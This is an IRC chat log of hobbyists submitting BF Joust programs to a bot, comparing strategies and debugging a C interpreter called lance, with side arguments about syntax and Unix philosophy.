19:18:52 <ais523> the big news about definder{,2} is: it can defend against three-cycle clears moderately reliably
19:19:02 <elliott> what's a three-cycle clear again?
19:19:06 <ais523> [-.]
19:19:08 <elliott> Deewiant: No, I just meant save it from death :P
19:19:14 <elliott> ais523: ah
19:19:15 <elliott> hmm, the oldest program on the hill is neon_glow
19:19:16 <ais523> basically, a clear designed to beat defend programs by screwing up their timing
19:19:21 <elliott> (>(+{>}-)%9)*2(>)*5([---[+]]>)*21
19:19:24 <elliott> impressively short
19:19:55 <Deewiant> !bfjoust magslow -(>)*8<+<-<(+)*10<(-)*10<(-)*30<<(+)*30(>)*7(>[(+)*9[-.]])*20>(.-)*10000
19:20:00 <EgoBot> Score for Deewiant_magslow: 40.4
19:20:01 <elliott> heh, there are no programs from 2010 on the hill
19:20:10 <ais523> (+{>}-)%9 would probably be a lot clearer as (+)*9>(-)*9
19:20:13 <elliott> seven from 2009, and the rest from just days ago
19:20:17 <elliott> the hill sure has been shaken up
19:20:19 <Gregor> lawl
19:20:30 <ais523> wow, defend7 is still there
19:20:38 <ais523> despite being really exploitable nowadays
19:20:43 <elliott> defend9 is too.
19:20:48 <elliott> I thought defend9 was crap nowadays :P
19:20:52 <Deewiant> !bfjoust steamroller <
19:20:58 <EgoBot> Score for Deewiant_steamroller: 0.0
19:21:17 <Gregor> Oh god my steamroller is stuck in reverse!
19:21:31 <fizzie> Heh, I added that "flag death only in two steps" property to chainlance, and it's actually a pessimization from egojoust now for real code. It runs this test-hill in 2.5 seconds (compared to 0.5 for egojoust); for the "synthetic benchmark" of "(.)*100000" vs itself it's a lot faster though, 0.05s vs 1s; and for "." vs itself it's 0.05s vs. 0.30s.
19:21:48 <elliott> :-D
19:21:59 <fizzie> (Well, it's either a pessimization or the death-check fails; but the results are exactly identical to egojoust, so I would think it works correctly.)
19:22:06 <quintopia> ais523: does definder's sequence work starting from most initial values?
19:22:21 <ais523> quintopia: it's designed to be tolerant to a certain amount of offsetting, etc
19:22:23 <fizzie> Lessons to learn: leave code generation to real compilers instead of blind translators.
19:22:33 <ais523> in fact, it's optimised to be tolerant to as much of that as is possible
19:22:41 <ais523> I did a computer search to find out what the maximum possible tolerance was
19:22:51 <quintopia> ais523: what fraction of starting values can it work from?
19:22:57 <elliott> hmm, oh dear
19:23:03 <elliott> ((a)*0)*-1 will lag lance up
19:23:06 <elliott> I need to remove *0s
19:23:12 <elliott> oh wait
19:23:13 <elliott> I do :)
19:23:21 <ais523> the actual lock can deal with a value up to 49 distant from where it thinks the flag is
19:23:28 <elliott> btw, important news
19:23:32 <elliott> in lance, *-1 will loop for 100K, not 10K
19:23:35 <elliott> 10K is just a bug in egobot
19:23:37 <elliott> so, uh, yeah
19:23:42 <elliott> if you rely on that... you're an idiot
19:24:09 <ais523> and 49 is the theoretically optimal value, I think
19:24:20 <Gregor> *egojoust
19:24:20 <ais523> at least, unless there's a mistake in my program
19:24:24 <quintopia> ais523: 49 in either direction?
19:24:31 <ais523> yep
19:24:47 <quintopia> ais523: and it can defend indefinitely from any of those values?
19:24:52 <ais523> in order to deal with offset clears, etc., this translates to waiting 98 cycles before starting the clear
19:25:05 <ais523> and yes, /but/ it ends up driving the value past 0 sometimes, that's unavoidable
19:25:13 <ais523> and some enemy programs change strategy upon that happening
19:25:24 <ais523> that's the most common reason for definder winning on short tapes but losing on long tapes
19:25:25 <elliott> Hmm, I just need to error out if you have * after a {}-enclosing (), and if you have % after a normal (), right?
19:25:29 <Gregor> !bfjoust furry_furry_bondage_girls (-)*127(>)*9([[-]]>)*21
19:25:32 <elliott> I never need to go and find another pair of ()s that might satisfy?
19:25:39 <EgoBot> Score for Gregor_furry_furry_bondage_girls: 15.2
19:25:50 <quintopia> well, i knew that'd be unavoidable...as long as it drives it past it and not to it, that's okay :P
19:26:09 <ais523> well, it can drive it to 0 for one cycle, but will always change it in the same direction on the next cycle
19:26:22 <ais523> so it only dies if the opponent reverses direction, which makes it at least a five-cycle clear by definition
19:26:28 <ais523> and it can't deal with five-cycles anyway
19:26:29 <elliott> THX FOR ANSWERS GUYEZ
19:27:03 <coppro> !bfjoust suicide [-.]
19:27:13 <EgoBot> Score for coppro_suicide: 19.2
19:27:16 <coppro> WTF
19:27:19 <Deewiant> :-D
19:27:23 <Gregor> I am worse than suicide YESSSSSSS
19:28:08 <Gregor> !bfjoust furry_furry_bondage_girls (-)*127(>+>-)*4(>[[-]])*21
19:28:19 <EgoBot> Score for Gregor_furry_furry_bondage_girls: 16.7
19:28:57 -!- olsner has quit (Quit: Leaving).
19:29:01 <quintopia> why do you keep submitting programs like that expecting they'll do any better :P
19:29:15 -!- Tritonio has quit (Quit: Leaving).
19:29:38 <Gregor> I'm hoping that some day the hill will adjust itself to be weak to mind-bogglingly-obvious strategies due to too much fighting/inbreeding between good ones :P
19:30:10 <Deewiant> !bfjoust maglev -(>)*8<+<<-<(-)*10<(+)*10<(+)*30(>)*6(>[(+)*9[-]])*20>(.-)*-1
19:30:17 <EgoBot> Score for Deewiant_maglev: 27.3
19:31:30 <quintopia> Gregor: nice theory, if completely wrong :P
19:31:40 <Deewiant> !bfjoust maglev ->+(>)*7+<<-<(-)*10<(+)*10<(+)*30(>)*5(>[(+)*9[-]])*20>(.-)*-1
19:31:51 <EgoBot> Score for Deewiant_maglev: 24.5
19:32:16 <quintopia> in fact, the whole reason we have such a big hill is so that mind-bogglingly obvious strategies that *do* work will stick around long enough that everyone learns to adapt to them.
19:32:33 <Deewiant> !bfjoust maglev ->++(>)*7+<----<-<(-)*10<(+)*10<(+)*30(>)*5(>[(+)*9[-]])*20>(.-)*-1
19:32:39 <EgoBot> Score for Deewiant_maglev: 25.6
19:32:46 <Deewiant> !bfjoust maglev -(>)*8<+<-<(+)*10<(-)*10<(-)*30<<(+)*30(>)*7(>[(+)*9[-]])*20>(.-)*10000
19:33:01 <EgoBot> Score for Deewiant_maglev: 38.8
19:33:29 <elliott> ais523: Can I have a simple program using ({})%, and another program not using it, where the result is known?
19:33:34 <Deewiant> !bfjoust maglev -(>)*8<+<-<(+)*10<(-)*10<(-)*30<(+)*30(>)*6(>[(+)*9[-]])*20>(.-)*10000
19:33:41 <EgoBot> Score for Deewiant_maglev: 38.0
19:33:43 <elliott> <quintopia> in fact, the whole reason we have such a big hill is so that mind-bogglingly obvious strategies that *do* work will stick around long enough that everyone learns to adapt to them.
19:33:50 <elliott> quintopia: no, we have a big hill because gregor made it big
19:33:53 <elliott> it's fixed-size
19:34:07 <quintopia> yes indeed
19:34:08 <Deewiant> !bfjoust maglev -(>)*7+<-<(+)*10<(-)*10<(-)*30<<(+)*30(>)*7(>[(+)*9[-]])*20>(.-)*10000
19:34:21 <EgoBot> Score for Deewiant_maglev: 38.9
19:34:34 <quintopia> gregor made it big because we asked him to. we asked him to because it cut down on inbreeding by some amount.
19:34:35 <Deewiant> !bfjoust magslow -(>)*7+<-<(+)*10<(-)*10<(-)*30<<(+)*30(>)*7(>[(+)*9[-.]])*20>(.-)*10000
19:34:39 <EgoBot> Score for Deewiant_magslow: 40.3
19:34:47 <ais523> elliott: the problem is, {}% programs tend not to be simple
19:34:50 <ais523> I'm trying to think of something
19:35:18 <elliott> ais523: It doesn't even have to have []s in it :P
19:35:28 <elliott> (>{+}>)%n or whatever would be fine.
19:35:31 -!- SimonRC has joined.
19:35:39 <ais523> !bfjoust (>)*8(>([+{[+]}>-<])%21)*256
19:35:39 <EgoBot> Use: !bfjoust <program name> <program> . Scoreboard, programs, and a description of score calculation are at http://codu.org/eso/bfjoust/
19:35:45 <ais523> !bfjoust decoytuner3 (>)*8(>([+{[+]}>-<])%21)*256
19:35:50 <EgoBot> Score for ais523_decoytuner3: 9.5
19:35:53 <ais523> that one isn't very good
19:36:04 <ais523> I'll try it against a simple program on egojsout
19:36:57 <ais523> elliott: try that against [>[-]+++++]
19:37:14 <elliott> ais523: OK, thanks
19:37:27 <zzo38> What is the method of accessing remote files from EgoBot?
19:37:35 <zzo38> (Other than bfjoust)
19:37:57 <Gregor> EgoBot only lets you use remote files as input for interpreters.
19:38:06 <ais523> it has a nontrivial win/loss record on kettle polarity
19:38:07 <ais523> (and obviously loses quite badly on sink)
19:38:08 <ais523> zzo38: generally you can't, but BF Joust programs are put online
19:38:09 <elliott> zzo38: pass a URL
19:38:09 <ais523> for HackEgo, you can tell it to pastebin its files
19:38:25 <zzo38> Gregor: For which interpreters?
19:38:27 <elliott> you're all misinterpreting zzo38, I think
19:38:35 <elliott> he means how do you, from within EgoBot, cause it to access remote files
19:38:40 <ais523> !bfjoust decoytuner3 (>)*8(>([+{[+]}>+<])%21)*256
19:38:46 <elliott> you forgot to turn off your parser's error-correction when reading his line
19:38:46 <EgoBot> Score for ais523_decoytuner3: 8.8
19:38:51 <variable> http://gatoni.gr/wp-content/themes/zenlite/images/banner.jpg -> ha!
19:38:58 <Gregor> wget :P
19:39:09 <elliott> no, he means, like !bfjoust foo http://
19:39:12 <elliott> I'm not sure what the answer is, though
19:39:16 <elliott> at least that's what i think he means
19:39:24 <elliott> variable: That's an ancient xkcd, how has everybody not seen it :P
19:39:47 <variable> elliott: I've seen most of them - but I don't remember them all
19:39:58 <variable> I assumed it was either abstruse goose or xkcd
19:40:09 -!- olsner has joined.
19:41:24 <elliott> lance.c:287: warning: ' ' flag used with ‘%n’ gnu_printf format
19:41:27 -!- pumpkin has joined.
19:41:28 <elliott> The relevant line:
19:41:29 <elliott> fprintf(stderr, "%d : Oi -- you have a * or a % not followed by a digit. Did your parents drop you on your head as a kid? (%c)\n", n, *p);
19:41:50 <elliott> $ ./lance '(>+>-)*4(>[(-)*9[+]])*21' '>>>>>>>>(>[-[++[---]]])*21'
19:41:50 <elliott> 1 : Oi -- your nesting is too deep, birdbrains.
19:41:52 <elliott> No it's not...
19:42:09 <ais523> elliott: you put a bare % in the string
19:42:14 <ais523> so you wrote % space n
19:42:14 <elliott> indeed
19:42:30 <ais523> I tend to nowadays use %s with constant strings, rather than embed them into the printf format
19:42:37 <ais523> due to, umm, reflex vs. SQL injection, I suppose
19:42:42 -!- copumpkin has quit (Ping timeout: 276 seconds).
19:43:41 <Gregor> elliott: scanf("%c", &yn); if (yn == 'y' || yn == 'Y') fprintf(stderr, "Oh, I'm ... I'm terribly sorry ... but your program is still invalid.\n");
19:44:02 <elliott> :D
19:44:08 <quintopia> obtw, Gregor: it'd be nice if the trace on egojsout displayed the programs as-is, without whitespace removed. not sure how you're stripping it, but is it difficult to put back in?
19:44:18 <elliott> quintopia: That would be annoying to do.
19:44:26 <elliott> Signed, -person whose implementation strategy in that area is identical to egojsout's.
19:44:29 <zzo38> I think wget doesn't seem to work on there, though, maybe
19:44:30 <Gregor> quintopia: I intentionally left it out because defend13 is friggin' enormous :P
19:44:56 <Gregor> !sh wget http://www.google.com/ -O /dev/null
19:44:56 <EgoBot> --2011-02-13 20:08:22-- http://www.google.com/
19:45:17 <elliott> !sh wget http://thepiratebay.org/ -O /dev/null
19:45:17 <EgoBot> --2011-02-13 20:08:43-- http://thepiratebay.org/
19:45:23 <ais523> Gregor: defend14 is rather larger
19:45:24 <elliott> LAME
19:45:27 <Gregor> Nope, doesn't set the environment variable since you're really not meant to do it from there.
19:45:31 <zzo38> Gregor: I can't get anything more than that, it seems
19:45:43 <Gregor> Too bad, that's not what EgoBot is for.
19:45:51 <zzo38> I can't seem to make it request files in my computer, or use wc, or whatever
19:45:56 <Gregor> Too bad, that's not what EgoBot is for.
19:46:05 <quintopia> Gregor: space_elevator is enormous even without the whitespace. you aren't saving much.
19:46:14 <elliott> How on EARTH could the nesting be too deap.
19:46:18 <zzo38> It doesn't really matter that much, I was just wondering why it does that.
19:46:35 <elliott> deap :D
19:46:43 <elliott> if (neststki >= sizeof(neststk)/sizeof(ins_t *)) { \
19:46:43 <elliott> fprintf(stderr, "%d : Oi -- your nesting is too deep, birdbrains.\n", n); \
19:46:45 <Gregor> zzo38: It rejects all communication except to localhost, and has a proxy on localhost to allow certain HTTP connections.
19:48:54 <zzo38> It would seem that knowing how to make it work is important if you want to add a user interpreter?
19:49:24 <Gregor> zzo38: No. If the input is "http*something*", then it will be downloaded first out of your control.
19:49:39 <zzo38> O, OK, so that's how it works.
19:50:35 <zzo38> Can the program used to install the user interpreter be remote?
19:50:38 <elliott> Hey ais523, that program is too deeply nested :P
19:50:49 <Gregor> zzo38: Yes, but it'll only download once.
19:50:51 <ais523> elliott: %256 should be easily handlable
19:50:59 <ais523> if it can't be, that defeats the whole point of using %
19:51:00 <elliott> ais523: No, as in, the nest stack gets too big.
19:51:02 <elliott> It's obviously a bug :P
19:51:06 <elliott> But a CONFUSING one.
19:51:07 <elliott> Oh.
19:51:09 <ais523> ah
19:51:10 <elliott> Maybe it wraps arou... no.
19:51:11 <elliott> hmm
19:51:11 <zzo38> Gregor: It shouldn't need to download more than once, I think
19:51:18 <elliott> ais523: in "signed >= unsigned", does the latter get coerced to signed
19:51:21 <elliott> or the former to unsigned?
19:51:33 <elliott> I could see, e.g. neststki becoming negative accidentally.
19:51:40 <Deewiant> unsigned
19:51:44 <Deewiant> I'm pretty sure
19:51:45 <elliott> Joy.
19:51:50 <Deewiant> In any case, you should be explicit about it and cast :-P
19:52:09 <ais523> I think it casts to unsigned, but I'm not sure
19:52:19 <elliott> It should never be a problem, I just have a bug :P
19:52:21 <ais523> it's sufficiently confusing that people normally cast explicitly rather than using the defaults
19:54:46 <elliott> In what world is "1 >= sizeof(neststk)/sizeof(ins_t *)" OH OH OH
19:54:47 <elliott> OHHH
19:54:50 <elliott> OH! that makes sense.
19:54:51 <elliott> It's malloced now.
19:54:54 <elliott> X-D
19:55:12 <elliott> Segmentation fault
19:55:13 <elliott> Woop woop
20:03:59 <elliott> wait...argh!
20:04:28 <elliott> how did this break the rest of my program?!
20:04:49 <zzo38> Now what did you break?
20:06:26 -!- zzo38 has quit (Quit: This quit message is rightsideup.).
20:07:19 -!- sebbu2 has joined.
20:07:36 <Sgeo> elliott, dont ever tell me that DS9 can never be soap opera'y
20:08:03 <ais523> I like zzo38's quit message
20:09:15 <elliott> Now this is confusing.
20:10:44 -!- sebbu has quit (Ping timeout: 240 seconds).
20:12:36 -!- cheater- has quit (Ping timeout: 240 seconds).
20:15:08 -!- cheater- has joined.
20:15:38 <elliott> Sieve: HOUSE
20:15:38 <elliott> HOUSE
20:15:38 <elliott> >80 00 00 00 00 00 00 00 00 <80 -- >0, <9
20:15:38 <elliott> HOUSE
20:15:38 <elliott> Segmentation fault
20:15:39 <elliott> O KAY
20:16:24 <quintopia> FIX ITTTTTT
20:16:48 -!- pumpkin has quit (Read error: Connection reset by peer).
20:17:00 -!- copumpkin has joined.
20:17:06 <elliott> WHERE THE HELL IS THIS SEGFAULTING
20:17:09 <elliott> COPUMPKIN WHAT DID YOU DO
20:17:16 <elliott> Hey Gregor, wanna find my bug again
20:17:28 <copumpkin> power went out
20:17:51 <quintopia> elliott: gdb :P
20:17:59 <elliott> yeah this is like the one case where gdb is useful
20:18:02 <elliott> random segfault
20:18:26 <elliott> Program received signal SIGSEGV, Segmentation fault.
20:18:27 <elliott> 0x00000000004016e0 in parse (into=0x1603080, p=0x0, n=1) at lance.c:198
20:18:27 <elliott> What.
20:18:33 <elliott> It failed much after that with -O2 >_<
20:18:37 <elliott> OH
20:18:40 <elliott> Forgot to supply arguments
20:19:35 -!- sebbu2 has quit (Read error: Connection reset by peer).
20:20:26 -!- sebbu has joined.
20:21:23 <elliott> Program received signal SIGSEGV, Segmentation fault.
20:21:23 <elliott> 0x0000000000400c66 in duel (p=0x1603080, q=0x603080, pol=SIEVE, tapesz=10) at lance.c:133
20:21:23 <elliott> 133 repeatstk[prog][++repeatstki[prog]] = progs[prog]->arg;
20:21:24 <elliott> O KAY
20:21:27 <elliott> oh, I need calloc
20:21:32 <elliott> I think
20:21:33 <elliott> wait, no
20:22:22 <elliott> oh, duh
20:23:09 <elliott> WTF
20:28:39 <elliott> ais523: http://sprunge.us/FjRH Looks like a draw to me!
20:28:51 <elliott> wait.
20:28:53 <elliott> It actually does.
20:29:05 <elliott> YAY, OFF BY ONE.
20:32:26 <elliott> [0x1602100] ( (arg=1, jmp=0x16021a0)
20:32:26 <elliott> Try "21".
20:32:47 <elliott> OH DUR
20:34:12 <elliott> ais523: defend14 is bugged
20:34:17 <elliott> ([(+)*128(>)* 7(.+)*57(<)* 7)*5
20:34:22 <elliott> "* 7"
20:34:24 <elliott> needs to be *7
20:34:36 <ais523> elliott: no? space is a comment
20:34:39 <ais523> and it makes the comments line up
20:34:42 <ais523> *columns
20:34:48 <ais523> the space is there deliberately to make the program more readable
20:34:50 <elliott> ais523: No, * has to be followed by an integer.
20:34:56 <ais523> it is, it's followed by 7
20:35:03 <elliott> also, they don't actually line up
20:35:07 <elliott> ([(+)*128(>)* 7(.+)*57(<)* 7)*5
20:35:07 <elliott> ((+)*128(>)* 8(.+)*56(<)* 8)*5
20:35:08 <elliott> ais523: No.
20:35:10 <elliott> ais523: It's followed by a space.
20:35:25 <ais523> and yes, that is correct, I got Emacs to autoindent it for me
20:35:30 <elliott> ais523: Do you think (+)* x12xoy=3 is a valid program?
20:35:35 <ais523> the other columns line up, that one's offset because of the [
20:35:37 <elliott> Meaning (+)*123?
20:35:40 <ais523> elliott: yep
20:35:47 <elliott> ais523: Too bad, 'cuz it's not.
20:36:01 <ais523> OH LOOK LANCE PARSES INCORRECTLY
20:36:18 <elliott> Gregor: Does egojoust support "(+)* x12xoy=3"?
20:37:51 <ais523> !bfjoust (>)*8(>++++[-])*x2 x1
20:38:00 <EgoBot> Score for ais523_____8_______-___x2: 6.3
20:38:01 <ais523> umm, forgot the name
20:38:09 <ais523> !bfjoust simpleoffset (>)*8(>++++[-])*x2 x1
20:38:17 <EgoBot> Score for ais523_simpleoffset: 6.3
20:38:18 <elliott> It uses atoi.
20:38:21 <elliott> So I know for a fact it doesn't support that.
20:38:30 <ais523> unless it filters the xs out first
20:38:34 <elliott> It doesn't.
20:38:40 <Gregor> elliott: Uhhh ... no?
20:38:47 <elliott> Gregor: ais523 thinks it means (+)*123.
20:38:57 <Gregor> wtf
20:39:05 <Gregor> ais523: No
20:39:32 <ais523> allowing spaces after * is definitely useful, anyway
20:39:33 -!- iconmaster has quit.
20:39:39 <ais523> just like C allows spaces around +
20:39:45 <ais523> there's no sensible reason to disallow it
20:39:47 <Gregor> ais523: DO NOT WANT
20:40:08 <ais523> you mean I have to make my programs less readable just so they parse?
20:40:13 <ais523> that's the opposite of the spirit of BF
20:40:30 <elliott> ...with what definition of "the spirit of BF"?
20:40:30 <elliott> ais523: <prog> := '' | <ins> <prog>; <pcntprog> := '' | <ins> <pcntprog> | '{' <pcntprog> '}'; <ins> := '+' | '-' | '<' | '>' | '[' <prog> ']' | '(' <prog> ')*' <int> | '(' <pcntprog> ')%' <int> | [^+-<>\[\]()*%]
20:40:30 <ais523> you're making it /whitespace-sensitive/
20:40:40 <ais523> you're making /brainfuck/ /whitespace-sensitive/
20:40:45 <elliott> ais523: With the constraint that <pcntprog>s must include one and only one {}.
20:40:53 <elliott> ais523: No.
20:40:56 <ais523> yes!
20:40:58 <Deewiant> Yes.
20:41:03 <elliott> ais523: We're making a /brainfuck/ /macro language/ whitespace-sensitive.
20:41:18 <ais523> that's still an incredibly bad idea
20:41:21 <Deewiant> "We're making ... /brainfuck/ ... whitespace-sensitive."
20:41:27 <Deewiant> You said it!
20:41:31 <Gregor> elliott: ais523 is not implementing an interpreter. He who codes chooses. QED.
20:41:46 <elliott> Gregor: Really? I'm going to require all programs start with "ELLIOTT IS FUCKING AWESOME".
20:41:50 <ais523> Gregor: I have one already, that expands {} in place just fine
20:41:51 <elliott> Fuck yeah.
20:41:55 <ais523> it's just slow for other reasons
20:41:57 <Gregor> elliott: I own EgoBot :P
20:41:59 <elliott> "expands {} in place" "just fine"
20:42:02 <elliott> Contradiction.
20:42:06 <elliott> Expanding {} = not fine.
20:42:50 <elliott> Gregor: What if I pipe all programs through s/[^+\-<>[\]()*%]//g beforehand :P
20:42:54 <elliott> *sed '...'
20:42:56 * variable should watch this channel more often - I learn a lot
20:42:58 <Gregor> elliott: I own EgoBot :P
20:43:02 <elliott> Gregor: What if I pipe all programs through s/[^+\-<>[\]()*%]//g beforehand :P
20:43:20 <Gregor> elliott: I notice the lack of digits.
20:43:21 <elliott> That doesn't actually work with that syntax but whatever
20:43:27 <elliott> Gregor: Err, right X-D
20:44:02 <elliott> Huh, tr -d '+\-<>[]()*%0-9' doesn't work.
20:44:08 <Gregor> I don't like the notion that (...)*3 // 3 because I'm brilliant expands 33 times
20:44:16 <elliott> ...yeah, that's awful.
20:44:30 <elliott> At the most, I'll allow spaces before the count.
20:44:35 <Gregor> Or, for that matter, (...)*3\n\n\r\n\t\v3 because I'm brilliant
20:44:38 <ais523> elliott: add a second (null) arg? or do you need -c as well
20:44:47 <elliott> ais523: "-d"
20:44:51 <elliott> Oh
20:44:51 <elliott> Right
20:44:52 <elliott> -c
20:44:52 <elliott> :P
20:45:02 <ais523> I'm trying to remember exactly what -d does
20:45:05 <Gregor> Yeah, I might be willing to tolerate whitespace between ), {*,%} and the number
20:45:17 <ais523> Gregor: --- // 3 - signs because Gregor is apparently brilliant
20:45:32 <elliott> $ tr -cd '+\-<>[]()*%0-9'; echo
20:45:32 <elliott> (abc)*3 // This is 3 because I'm brilliant
20:45:32 <elliott> ()*33
20:45:33 <elliott> Yeahno
20:46:14 <Gregor> NEW IDEA
20:46:18 <elliott> ais523: How about ')' ('*' | '%') (' ' *) <int>
20:46:19 <ais523> elliott: the same thing happens with every other command
20:46:22 <elliott> ais523: How about ')' ('*' | '%') (' ' *) <int>
20:46:24 <elliott> And no, wrong
20:46:28 <elliott> That creates _new_ commands
20:46:30 <ais523> elliott: I'd tolerate that
20:46:30 <Gregor> elliott: We'll make it UTF-8, and you have to represent the repeat count as the relevant Unicode character.
20:46:33 <elliott> This abomination modifies _existing_ commands
20:46:37 <elliott> Gregor: It is done.
20:46:41 <Gregor> elliott: That way, you can't have any space between digits, since there are no digits.
20:47:08 <elliott> Admittedly the // thing is academic because ()*0 exists
20:47:31 <Gregor> Well, anything invalid is also a comment, I was just putting that there to make my intention clear :P
20:48:43 <elliott> It makes sense because in BF, whitespace is allowed between /instructions/
20:48:45 <elliott> i.e. atomic units
20:48:54 <elliott> The fact that an integer takes multiple characters to represent is an implementation detail
20:49:10 <elliott> You can have anything you want before and after it, so (+)*xasldkjad\n\n3 is valid,
20:49:16 <elliott> but you can't put random crap in the middle.
20:49:29 <elliott> Also, )* and )% totally count as one instruction.
20:49:37 <elliott> Now wait until ais523 says that he uses ") %" to make things line up nicely.
20:49:55 <elliott> Apparently defend14 has an unmatched [.
20:50:04 <elliott> ([(+)*128(>)*7(.+)*57(<)*7)*5
20:50:08 <elliott> ais523: You're a very bad person.
20:50:15 <elliott> (]
20:50:16 <elliott> Very, very bad.
20:50:30 <elliott> OK, time to find another competitor that *doesn't* break the rules :-P
20:50:31 <ais523> possibly not deliberately
20:50:39 <elliott> ais523: "(]" looks quite deliberate
20:50:43 <ais523> but that thing was really massively long and complex, and had to be made to work in Egojous
20:50:45 <ais523> *Egojoust
20:50:55 <elliott> ais523: agreed; however, you might want to fix it in time for lance
20:51:03 <ais523> does defend13 work? it's a bit simpler
20:52:25 <elliott> ais523: I'll try
20:53:35 <quintopia> ais523: definder beats space_elevator on one polarity because the zeroes *never* correspond to my ]. I suspect fiddling with the timings for the rush code wouldn't help either, since it would just make it so 2-cycle clears fail on the *other* polarity instead. i can't for the life of me think of a way a standard rush tactic can beat both defend9 and definder without using *huge* offsets (or something like that binary search thing that ...
20:53:57 <elliott> Yess, it runs correcty
20:53:59 <elliott> *correctly
20:54:01 <ais523> quintopia: definder gets a lot of random polarity-sensitive wins like that
20:54:20 <elliott> I'm not sure whether to bother preprocessing (A[B)*nC(D]E)*n...
20:54:25 <ais523> I don't think it's possible to make it do any better; it turns out to be impossible to deal with 2 and 3 cycle on both polarities and also maintain the average to prevent something zeroing
20:54:32 <elliott> It's really trivial to fix it in programs, and writing a preprocessor is like condoning it :P
20:54:57 <elliott> $ time ./lance "$(cat spelevator)" "$(cat defend13)" >/dev/null
20:54:58 <elliott> real0m0.040s
20:54:58 <elliott> NOT BAD
20:55:21 <Deewiant> Compared to EJ?
20:55:30 <elliott> Deewiant: Dunno, but tbh, the raw performance is irrelevant.
20:55:36 <Gregor> elliott: The fact that lance takes raw code instead of files as args = lame :P
20:55:43 <elliott> The fact is that EgoBot's % handling is O(slow) and O(big), and mine isn't.
20:55:50 <elliott> Gregor: It's a test >_<
20:55:58 -!- copumpkin has quit (Quit: Computer has gone to sleep.).
20:55:59 <Gregor> lawl@O(slow)
20:56:32 <elliott> Gregor: BTW, it's okay if my modified report.c keeps all breakdowns, right?
20:56:44 <elliott> It'd be nice to be able to go to breakdowns/quintopia_space_elevator.txt and see :P
20:56:50 <Gregor> elliott: Preferable, I never modified mine to do so because it didn't actually know which was added :P
20:56:50 <elliott> And would also solve the whole clashing thing.
20:57:16 <Gregor> (And I was lazy)
20:57:18 <elliott> Gregor: Can I make !egojoust link you to the breakdown at the beginning? :-p
20:57:20 <elliott> *:-P
20:57:21 <elliott> *!bfjoust
20:57:32 <Gregor> NO
20:57:38 <elliott> Gregor: Because otherwise you'd have to go to the file specifically named after your program :(
20:57:41 <elliott> Unless I maintained a symlink X-D
20:57:46 <quintopia> ais523: ... saccharin_philip uses) what's it most sensitive to?
20:58:41 <elliott> Gregor: Can Apache handle symlinks? :P
20:59:02 <elliott> Gregor: But also, if it did that, then you could refresh and it'd be someone else's program instead :(
20:59:07 <elliott> What if it just /notice user'd the URL?
20:59:11 <elliott> Then it wouldn't bother anyone else.
20:59:17 <Gregor> Of course Apache can handle symlinks.
20:59:38 <Gregor> elliott: How about just include the breakdown URL with the score :P
20:59:52 <Gregor> That way it's one line, it's done by then, and everybody can see it.
20:59:53 <quintopia> `quote add <elliott> The fact is that [egojoust's] % handling is O(slow) and O(big), and mine isn't.
20:59:55 <elliott> Gregor: I was going to go all "OMG BUT WHAT IF IT TAKES AGES", but then I realised that lance is fucking fast :P
20:59:58 <elliott> quintopia: fail
21:00:17 <Deewiant> quintopia: `addquote, I think
21:00:21 <quintopia> oh
21:00:21 <elliott> $ time ( for i in $(seq 50); do ./lance "$(cat spelevator)" "$(cat defend13)" >/dev/null; done )
21:00:21 <elliott> real0m0.952s
21:00:25 <elliott> Yah, that should be fine then.
21:00:26 <HackEgo> No output.
21:00:30 <elliott> I'll try spelevator v. spelevator.
21:00:39 <elliott> 1.261s :P
21:00:43 <quintopia> `addquote <elliott> The fact is that [egojoust's] % handling is O(slow) and O(big), and mine isn't.
21:00:44 <HackEgo> 304) <elliott> The fact is that [egojoust's] % handling is O(slow) and O(big), and mine isn't.
21:00:57 <quintopia> why didn't he put it all in the quote program? why break it all up like that? :P
21:01:09 <elliott> Unix philosophy, bitch.
21:01:11 <elliott> `cat bin/addquote
21:01:12 <HackEgo> #!/bin/sh \ [ "$1" ] || exit 1 \ printf "%s\n" "$1" >>quotes \ echo $(wc -l quotes | cut -d' ' -f1)") $1"
21:01:18 <elliott> Besides, it was a separate program right from the start.
21:01:23 <elliott> With Gregor's crazy SQLite system.
21:01:40 <elliott> `delquote 304
21:01:42 <HackEgo> *poof*
21:01:48 <elliott> `addquote [on egojoust] <elliott> The fact is that EgoBot's % handling is O(slow) and O(big), and mine isn't.
21:01:49 <HackEgo> 304) [on egojoust] <elliott> The fact is that EgoBot's % handling is O(slow) and O(big), and mine isn't.
21:01:57 <elliott> No MISQUOTING unless it's FUNNY
21:02:03 <quintopia> so you didn't take the opportunity to do it in one program? "why make one program to handle quotes when i could make *two!*"
21:02:17 <elliott> quintopia: Unix philosophy.
21:02:20 <elliott> quintopia: Unix philosophy.
21:02:20 <elliott> quintopia: Unix philosophy.
21:02:20 <elliott> quintopia: Unix philosophy.
21:02:42 <quintopia> unix philosophy is do one thing and do it well. that one thing can be "quotes" in my mind
21:02:49 <elliott> One thing = add a quote.
21:02:51 <elliott> One thing = view a quote.
21:03:01 <quintopia> or "handle all quote processing"
21:03:03 <elliott> They all use the common format (a plain text file) and do one thing on it.
21:03:06 <elliott> quintopia: That's multiple things.
21:03:11 <quintopia> it's one thing :P
21:03:14 <quintopia> also
21:03:14 <elliott> No, it's not.
21:03:17 <elliott> Ask Ken Thompson.
21:03:38 <quintopia> i didn't misquote
21:03:54 <quintopia> using [] to replace certain strings is standard journalistic practice
21:04:04 <elliott> Standard journalistic practice, but also still misquoting :P
21:04:13 <elliott> Being able to grep for the source of a quote is nice, anyway.
21:04:16 <Sgeo> So is busybox anti-Unix?
21:04:25 <quintopia> how can it be misquoting if it's part of the *standard for quotes*?
21:04:34 <elliott> It's a quote, and it's not what I said.
21:04:39 <elliott> Therefore it's not a true quote, and therefore a mis- quote.
21:04:57 <quintopia> it's understood that you said everything not in []
21:05:07 <quintopia> and therefore the quote is correctly reflecting what you said
21:05:54 <elliott> This is tedious.
21:06:01 <quintopia> have you finished lance yet
21:06:19 <elliott> Yes. I just have to do one final parser change.
21:06:24 <elliott> Gregor: Can you link me to report.c? :-P
21:06:54 <elliott> Gregor: OHOH what was that program with {{}} that you had to change for egojoust?
21:07:10 <elliott> ais523: You are okay with ")*" not allowing a space, right? :-P
21:07:29 <ais523> between the ) and the *? if you really insist, although I don't see a reason to enforce it
21:07:56 <elliott> ais523: Makes the parser simpler :P
21:08:06 <elliott> ais523: By whitespace, I also mean comments.
21:08:13 <elliott> It'd actually make bugs a bit hard to catch...
21:08:23 <elliott> Consider (abc)[... ten pages...][stray *]
21:08:30 <elliott> Although ... wait, naw.
21:08:32 <elliott> I'll allow it.
